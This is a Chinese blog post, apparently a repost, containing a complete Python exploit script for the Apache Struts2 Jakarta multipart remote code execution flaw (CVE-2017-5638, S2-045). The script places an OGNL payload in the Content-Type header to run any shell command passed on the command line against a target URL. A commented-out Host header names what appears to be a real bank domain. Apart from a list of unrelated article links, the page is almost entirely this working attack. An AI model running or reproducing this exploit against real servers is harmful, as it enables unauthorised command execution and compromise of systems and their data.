博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Struts2 Jakarta远程执行代码测试
阅读量:6590 次
发布时间:2019-06-24

本文共 1624 字,大约阅读时间需要 5 分钟。

  hot3.png

#coding:utf8#author:Gru-HT#time:下午4:30 07 03 2017#information:struts2 Jakarta远程执行 cve-2017-5638 S02-45import requests,sysdef st245(urls,ossystem):    payload="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+ossystem+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"    head={        #"Host":'easyfee.esunbank.com.tw',        "User-Agent":"User-Agent=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",        "Accept":"Accept=*/*",        "Accept-Language":"Accept-Language=en-US,en;q=0.5",        "Content-Type":payload,        "Connection":"keep-alive"    }    attack=requests.get(urls,headers=head)    print attack.textif __name__=='__main__':    try:        url=sys.argv[1]        ossystems=sys.argv[2]        st245(url,ossystems)    except:        print u"请检查测试语法是否正确,格式为:测试脚本 目标地址 系统命令\n举个栗子:st2-045.py 'http://a.a.a/n.action' whoami"

 

转载于:https://my.oschina.net/403/blog/853757

你可能感兴趣的文章
OpenCV学习】矩阵运算和操作2
查看>>
nginx+ffmpeg搭建rtmp转播rtsp流的flash服务器
查看>>
Win10 IoT C#开发 1 - Raspberry安装IoT系统及搭建开发环境
查看>>
关于在arm裸板编程时使用printf问题的解决方法
查看>>
开源人工智能技术将改变一切
查看>>
2015 上半年 JavaScript 使用统计数据
查看>>
《Python算法教程》——1.6 如果您感兴趣
查看>>
深度解析Java8 – AbstractQueuedSynchronizer的实现分析(下)
查看>>
SSH原理与运用(一):远程登录
查看>>
Spring Framework 4.2 中的新功能和增强功能
查看>>
动态代理解决网站字符集编码
查看>>
我所想的GIX4的权限
查看>>
Hbuilder--让手爽,飞一般的编码(二)
查看>>
后台统计
查看>>
React组件: 提取图片颜色
查看>>
3D应用开发中的欧拉角和旋转矩阵
查看>>
爬虫必备技能xpath的用法和实战
查看>>
MacOS下安装Grafana、InfluxData、telegraf
查看>>
RxJava2.0的初学者必备教程(九)
查看>>
记一次omi的项目之旅
查看>>